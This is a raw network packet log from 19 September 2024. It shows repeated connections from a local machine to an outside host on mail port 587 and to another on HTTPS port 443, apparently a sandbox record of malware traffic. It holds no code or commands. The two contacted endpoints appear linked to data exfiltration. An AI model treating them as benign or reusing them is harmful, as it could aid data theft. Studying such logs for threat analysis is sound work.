Sep 19, 2024 12:24:02.970474958 CEST	61647	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:02.970598936 CEST	61646	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:02.973014116 CEST	61649	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:02.973022938 CEST	61648	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:02.973038912 CEST	443	61649	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:02.973093987 CEST	443	61648	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:02.973258018 CEST	61649	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:02.973265886 CEST	61648	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:02.973499060 CEST	61649	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:02.973505020 CEST	61648	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:02.973511934 CEST	443	61649	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:02.973535061 CEST	443	61648	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:02.976387024 CEST	587	61647	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:02.976560116 CEST	587	61646	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:02.978830099 CEST	61647	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:02.978835106 CEST	61646	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:03.588983059 CEST	443	61649	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:03.590771914 CEST	61649	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:03.590797901 CEST	443	61649	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:03.590856075 CEST	61649	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:03.590862989 CEST	443	61649	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:03.609724045 CEST	443	61648	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:03.611413002 CEST	61648	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:03.611478090 CEST	443	61648	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:03.611541986 CEST	61648	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:03.611562014 CEST	443	61648	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:03.952824116 CEST	443	61649	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:03.953361988 CEST	443	61649	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:03.953418970 CEST	61649	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:03.953815937 CEST	61649	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:03.955261946 CEST	61650	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:03.961719036 CEST	587	61650	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:03.961786985 CEST	61650	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:03.987144947 CEST	443	61648	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:03.987207890 CEST	443	61648	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:03.987391949 CEST	61648	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:03.987725019 CEST	61648	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:03.988779068 CEST	61651	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:03.994716883 CEST	587	61651	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:03.994790077 CEST	61651	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:04.529225111 CEST	587	61650	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:04.530011892 CEST	61650	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:04.534960032 CEST	587	61650	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:04.573668003 CEST	587	61651	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:04.574053049 CEST	61651	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:04.579066992 CEST	587	61651	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:04.854744911 CEST	587	61650	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:04.855262995 CEST	587	61651	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:04.855300903 CEST	61650	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:04.859446049 CEST	61651	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:04.860104084 CEST	587	61650	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:04.864355087 CEST	587	61651	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:05.016611099 CEST	587	61650	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:05.020829916 CEST	587	61651	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:05.020879984 CEST	61650	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:05.025681019 CEST	587	61650	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:05.025724888 CEST	61651	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:05.030555010 CEST	587	61651	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:07.472455978 CEST	587	61650	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:07.472492933 CEST	587	61651	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:07.472628117 CEST	61651	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:07.472682953 CEST	61650	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:07.477509022 CEST	587	61651	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:07.477543116 CEST	587	61650	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:07.633399010 CEST	587	61650	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:07.633538008 CEST	61650	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:07.633748055 CEST	587	61651	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:07.633950949 CEST	61651	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:07.638447046 CEST	587	61650	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:07.638808966 CEST	587	61651	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:07.871681929 CEST	587	61651	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:07.871702909 CEST	587	61650	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:07.871939898 CEST	61651	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:07.872494936 CEST	61650	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:07.876996040 CEST	587	61651	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:07.877053022 CEST	61651	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:07.877434015 CEST	587	61650	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:07.877485037 CEST	61650	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:07.879038095 CEST	61652	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:07.879127026 CEST	443	61652	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:07.879198074 CEST	61652	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:07.879455090 CEST	61653	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:07.879548073 CEST	443	61653	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:07.879606009 CEST	61653	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:07.880031109 CEST	61652	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:07.880079985 CEST	443	61652	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:07.880089045 CEST	61653	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:07.880126953 CEST	443	61653	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:08.490142107 CEST	443	61653	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:08.492312908 CEST	61653	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:08.492386103 CEST	443	61653	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:08.492644072 CEST	61653	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:08.492662907 CEST	443	61653	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:08.496840954 CEST	443	61652	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:08.499255896 CEST	61652	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:08.499350071 CEST	443	61652	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:08.500008106 CEST	61652	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:08.500024080 CEST	443	61652	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:08.830605030 CEST	443	61652	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:08.830692053 CEST	443	61652	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:08.830804110 CEST	61652	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:08.832089901 CEST	61652	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:08.832092047 CEST	61654	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:08.834199905 CEST	443	61653	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:08.834302902 CEST	443	61653	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:08.834423065 CEST	61653	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:08.835401058 CEST	61653	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:08.835417032 CEST	61655	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:08.836960077 CEST	587	61654	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:08.840337992 CEST	587	61655	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:08.840380907 CEST	61654	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:08.841605902 CEST	61655	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:09.399482012 CEST	587	61654	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:09.399600983 CEST	61654	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:09.401037931 CEST	587	61655	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:09.401149035 CEST	61655	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:09.404436111 CEST	587	61654	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:09.406117916 CEST	587	61655	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:09.541523933 CEST	61654	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:09.544864893 CEST	61656	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:09.544950962 CEST	443	61656	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:09.545030117 CEST	61656	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:09.545293093 CEST	61656	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:09.545326948 CEST	443	61656	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:09.547761917 CEST	587	61654	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:09.547808886 CEST	61654	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:09.563047886 CEST	587	61655	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:09.563194036 CEST	61655	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:09.568416119 CEST	587	61655	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:09.725076914 CEST	587	61655	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:09.725358009 CEST	61655	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:09.730278015 CEST	587	61655	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:10.179168940 CEST	443	61656	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:10.182229996 CEST	61656	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:10.182310104 CEST	443	61656	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:10.182518005 CEST	61656	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:10.182533979 CEST	443	61656	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:10.406949997 CEST	443	61656	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:10.407138109 CEST	443	61656	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:10.408401012 CEST	61656	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:10.408668041 CEST	61656	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:10.411456108 CEST	61657	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:10.416285038 CEST	587	61657	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:10.416960001 CEST	61657	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:11.053003073 CEST	587	61657	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:11.057168961 CEST	61657	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:11.062541962 CEST	587	61657	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:11.214119911 CEST	587	61657	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:11.214282990 CEST	61657	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:11.219162941 CEST	587	61657	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:11.372999907 CEST	587	61657	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:11.373189926 CEST	61657	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:11.378061056 CEST	587	61657	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:11.488831043 CEST	587	61655	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:11.489088058 CEST	61655	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:11.494081974 CEST	587	61655	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:11.648936987 CEST	587	61655	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:11.649070024 CEST	61655	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:11.661807060 CEST	587	61655	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:11.972366095 CEST	587	61655	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:11.972677946 CEST	61655	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:11.975456953 CEST	61658	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:11.975558043 CEST	443	61658	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:11.975637913 CEST	61658	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:11.975887060 CEST	61658	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:11.975914955 CEST	443	61658	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:11.979826927 CEST	587	61655	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:11.979876995 CEST	61655	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:12.595294952 CEST	443	61658	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:12.598417044 CEST	61658	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:12.598465919 CEST	443	61658	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:12.599304914 CEST	61658	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:12.599317074 CEST	443	61658	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:12.908471107 CEST	443	61658	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:12.908682108 CEST	443	61658	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:12.908971071 CEST	61658	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:12.909420967 CEST	61658	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:12.910542965 CEST	61659	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:12.915374041 CEST	587	61659	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:12.915647984 CEST	61659	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:13.479078054 CEST	587	61659	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:13.479218006 CEST	61659	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:13.489100933 CEST	587	61659	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:13.492153883 CEST	587	61657	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:13.492295980 CEST	61657	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:13.498191118 CEST	587	61657	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:13.640616894 CEST	587	61659	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:13.640784025 CEST	61659	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:13.645586014 CEST	587	61659	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:13.651936054 CEST	587	61657	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:13.652159929 CEST	61657	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:13.656969070 CEST	587	61657	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:13.800013065 CEST	587	61659	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:13.800338984 CEST	61659	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:13.805214882 CEST	587	61659	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:13.836960077 CEST	587	61657	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:13.837280989 CEST	61657	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:13.840759039 CEST	61660	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:13.840809107 CEST	443	61660	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:13.840909958 CEST	61660	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:13.841150999 CEST	61660	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:13.841185093 CEST	443	61660	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:13.848875046 CEST	587	61657	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:13.848928928 CEST	61657	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:14.524285078 CEST	443	61660	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:14.526632071 CEST	61660	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:14.526688099 CEST	443	61660	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:14.526952982 CEST	61660	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:14.526964903 CEST	443	61660	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:14.918138027 CEST	443	61660	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:14.918314934 CEST	443	61660	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:14.920800924 CEST	61660	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:14.920800924 CEST	61660	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:14.924343109 CEST	61661	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:14.929317951 CEST	587	61661	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:14.936316967 CEST	61661	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:15.627963066 CEST	587	61661	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:15.627990007 CEST	587	61659	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:15.628118992 CEST	61661	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:15.628151894 CEST	61659	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:15.848618984 CEST	587	61661	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:15.848635912 CEST	587	61659	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:15.848694086 CEST	61661	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:15.848714113 CEST	61659	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:15.850358963 CEST	587	61661	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:15.850514889 CEST	587	61659	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:16.005336046 CEST	587	61661	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:16.005532980 CEST	61661	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:16.008725882 CEST	587	61659	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:16.008841991 CEST	61659	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:16.010369062 CEST	587	61661	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:16.013616085 CEST	587	61659	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:16.162219048 CEST	587	61661	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:16.162532091 CEST	61661	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:16.167381048 CEST	587	61661	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:16.181294918 CEST	587	61659	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:16.184966087 CEST	61659	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:16.185010910 CEST	61662	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:16.185060024 CEST	443	61662	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:16.185375929 CEST	61662	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:16.185375929 CEST	61662	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:16.185411930 CEST	443	61662	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:16.193031073 CEST	587	61659	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:16.197798014 CEST	61659	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:16.810128927 CEST	443	61662	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:16.815016985 CEST	61662	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:16.815042019 CEST	443	61662	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:16.822496891 CEST	61662	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:16.822508097 CEST	443	61662	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:17.075412989 CEST	61661	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:17.075412035 CEST	61663	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:17.075515032 CEST	443	61663	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:17.076467991 CEST	61663	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:17.080336094 CEST	61663	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:17.080367088 CEST	443	61663	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:17.080915928 CEST	587	61661	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:17.088337898 CEST	61661	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:17.119560957 CEST	443	61662	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:17.119743109 CEST	443	61662	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:17.119790077 CEST	61662	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:17.120162964 CEST	61662	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:17.121331930 CEST	61664	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:17.126292944 CEST	587	61664	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:17.126365900 CEST	61664	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:17.693942070 CEST	587	61664	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:17.694117069 CEST	61664	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:17.707268000 CEST	587	61664	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:17.719729900 CEST	443	61663	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:17.721916914 CEST	61663	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:17.721981049 CEST	443	61663	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:17.722038984 CEST	61663	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:17.722059011 CEST	443	61663	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:17.861510038 CEST	587	61664	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:17.861720085 CEST	61664	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:17.866761923 CEST	587	61664	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:18.022892952 CEST	443	61663	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:18.022962093 CEST	443	61663	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:18.023168087 CEST	61663	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:18.023441076 CEST	61663	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:18.023763895 CEST	587	61664	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:18.023962021 CEST	61664	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:18.024502039 CEST	61665	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:18.028757095 CEST	587	61664	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:18.029390097 CEST	587	61665	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:18.029467106 CEST	61665	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:18.573834896 CEST	587	61665	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:18.574121952 CEST	61665	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:18.583607912 CEST	587	61665	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:18.738708019 CEST	587	61665	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:18.739427090 CEST	61665	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:18.744522095 CEST	587	61665	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:18.903228045 CEST	587	61665	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:18.908346891 CEST	61665	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:18.913472891 CEST	587	61665	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:19.979195118 CEST	61665	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:19.982309103 CEST	61666	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:19.982358932 CEST	443	61666	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:19.982429028 CEST	61666	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:19.982691050 CEST	61666	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:19.982701063 CEST	443	61666	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:19.984723091 CEST	587	61665	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:19.984791994 CEST	61665	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:20.471935987 CEST	587	61664	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:20.474725962 CEST	61664	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:20.479710102 CEST	587	61664	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:20.599554062 CEST	443	61666	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:20.603907108 CEST	61666	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:20.603921890 CEST	443	61666	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:20.604044914 CEST	61666	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:20.604054928 CEST	443	61666	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:20.634368896 CEST	587	61664	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:20.634536982 CEST	61664	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:20.639477015 CEST	587	61664	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:20.813930035 CEST	587	61664	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:20.814534903 CEST	61664	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:20.818459034 CEST	61667	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:20.818542004 CEST	443	61667	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:20.822958946 CEST	61667	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:20.822959900 CEST	61667	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:20.823040962 CEST	443	61667	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:20.825767994 CEST	587	61664	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:20.827040911 CEST	61664	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:20.895725012 CEST	443	61666	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:20.895906925 CEST	443	61666	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:20.898484945 CEST	61666	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:20.899408102 CEST	61666	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:20.900944948 CEST	61668	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:20.905848026 CEST	587	61668	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:20.905972004 CEST	61668	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:21.439317942 CEST	443	61667	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:21.441282988 CEST	61667	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:21.441344023 CEST	443	61667	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:21.441400051 CEST	61667	443	192.168.2.5	149.154.167.220
